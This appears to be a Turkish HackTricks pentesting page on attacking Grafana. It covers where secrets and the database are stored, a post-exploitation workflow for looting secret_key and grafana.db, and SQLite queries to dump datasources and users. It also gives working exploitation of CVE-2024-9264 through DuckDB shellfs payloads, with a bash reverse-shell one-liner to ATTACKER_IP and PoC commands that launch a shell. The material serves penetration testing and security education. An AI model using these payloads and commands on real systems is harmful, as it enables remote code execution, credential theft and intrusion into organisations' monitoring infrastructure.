Grafana
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
İlginç bilgiler
- Ana yapılandırma genellikle
/etc/grafana/grafana.ini(Deb/RPM) altında bulunur veadmin_user,admin_password,secret_key, OAuth ayarları, SMTP creds ve renderer tokens gibi hassas değerler içerebilir. - Varsayılan olarak Grafana verileri SQLite3 altında
/var/lib/grafana/grafana.dbdosyasında saklar. - Provisioning dosyaları host erişiminden sonra çok ilginçtir:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Provisioning dosyalarında environment-variable expansion desteklenir, bu yüzden leaked YAML genellikle hem secrets’i hem de bunların arkasındaki env var isimlerini ortaya çıkarır.
- Yüklü plugin’ler genellikle
/var/lib/grafana/pluginsaltında bulunur. - Platform içinde role bağlı olarak kişileri davet edebilir, generate API keys / service account tokens, plugin’leri listeleyebilir veya yeni plugin’ler kurabilirsiniz.
- Tarayıcı da değerli bir kaynaktır: Grafana gizli olmayan datasource yapılandırmasını frontend’e açığa çıkarır. Eğer bir Viewer oturumunuz varsa (veya anonymous access etkinse), DevTools’tan
window.grafanaBootData’yı inceleyin.
Kullanışlı SQLite kontrolleri:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Veri kaynakları ve sırları yağmalama
Grafana tarayıcıda okunabilen yapılandırmayı şifrelenmiş sırlarla ayırır:
jsonDatatarayıcıda kullanıcılara görünür ve genellikle iç hostlar, tenant’lar, auth modları, header isimleri, AWS bölgeleri, Elasticsearch index’leri, Loki tenant’ları, Prometheus URL’leri ve benzeri keşif verilerini listelemek için yeterlidir.secureJsonDatasunucu tarafında şifrelenir ve datasource kaydedildikten sonra tarayıcıdan okunamaz hale gelir.
Post-exploitation workflow:
- Dump
grafana.iniyapın vesecret_key’i kurtarın. - Loot
grafana.dbve provisioning dosyalarını alın. - Enumerate datasource’ları ve plugin yapılandırmalarını, yeniden kullanılabilir kimlik bilgileri ve iç uç noktalarını bulmak için.
- Veritabanını başka bir Grafana örneğine taşıyor veya replay ediyorsanız aynı
secret_key’i koruyun; aksi takdirde depolanan datasource parolaları/token’ları doğru şekilde decrypt edilemez.
Neden secret_key yeni sürümlerde önemlidir:
- Grafana v9’dan itibaren veritabanı sırları envelope encryption kullanır.
- Grafana sırları data encryption keys (DEKs) ile şifreler ve bu DEK’ler
secret_key’den türetilen bir key encryption key (KEK) ile şifrelenir. - Saldırgan perspektifinden bakıldığında,
grafana.db+secret_keyçalınması gereken ikilidir.
Plugin saldırı yüzeyi
Plugin’leri dipnot değil, hedefin bir parçası olarak ele alın:
- Bunları filesystem’ten, UI’dan veya API’den enumerate edin:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Eski veya üçüncü taraf eklentiler, genellikle HTTP isteklerini proxy’leyerek veya yerel dosya/veritabanlarıyla etkileşerek Grafana’nın dahili ağlara erişimini genişletir.
- Son örnekler arasında Infinity eklentisindeki SSRF (
< 3.4.1) ve Image Renderer eklentisinin başka bir hatayı full-read SSRF’ye çeviren kötüye kullanım yolları bulunur.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafana’nın deneysel SQL Expressions özelliği, kullanıcı kontrollü metin gömülü DuckDB sorgularını çalıştırabilir. Yetersiz sanitasyon, saldırganların DuckDB ifadelerini zincirlemelerine ve topluluk uzantısı shellfs’i yüklemelerine olanak verir; shellfs, pipe destekli sanal dosyalar aracılığıyla shell komutlarını açığa çıkarır.
Impact
- VIEWER veya daha yüksek yetkiye sahip herhangi bir kimliği doğrulanmış kullanıcı, Grafana OS kullanıcısı (genellikle grafana; bazen container içinde root) olarak kod çalıştırabilir veya yerel dosya okuma işlemleri yapabilir.
- Gerçek dağıtımlarda sıkça karşılaşılan önkoşullar:
- SQL Expressions etkin:
expressions.enabled = true - Sunucuda PATH içinde
duckdbikili dosyası mevcut
Quick checks
- UI/API içinde, Admin ayarlarını (Swagger:
/swagger-ui, endpoint/api/admin/settings) kontrol ederek doğrulayın: expressions.enabledtrue olmalı- İsteğe bağlı: sürüm, datasource türleri ve genel hardening ayarları
- Host üzerinde shell:
which duckdbkomutu aşağıdaki exploit yolunun çalışması için bir sonuç vermeli.
Manual query pattern using DuckDB + shellfs
- Kötüye kullanım akışı (2 sorgu):
- shellfs uzantısını yükleyin ve etkinleştirin, bir komut çalıştırın, birleştirilmiş çıktıyı pipe aracılığıyla bir geçici dosyaya yönlendirin
- Geçici dosyayı
read_blobile geri okuyun
Example SQL Expressions payloads that get passed to DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
CMD’yi istediğiniz komutla değiştirin. Dosya okuma (LFI) için yerine DuckDB dosya fonksiyonlarını kullanarak yerel dosyaları okuyabilirsiniz.
Tek satırlık reverse shell örneği
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
listener varken ilk sorguda bunu CMD olarak göm: nc -lnvp 443.
Otomatik PoC
- Public PoC (built on cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Kullanım örneği
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Çıktı uid=0(root) gösteriyorsa, Grafana root olarak çalışıyor (bazı konteynerlerde yaygın).
2025 client-side traversal / open redirect chain
2025 Grafana client-side traversal ve open-redirect zinciri zaten daha genel client-side sayfalarında belgelenmiş durumda. Bu teknikleri Grafana’ya özgü paths (ör. plugin assets, dashboard script loaders ve token-rotation redirects) üzerinde kullanın:
Referanslar
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


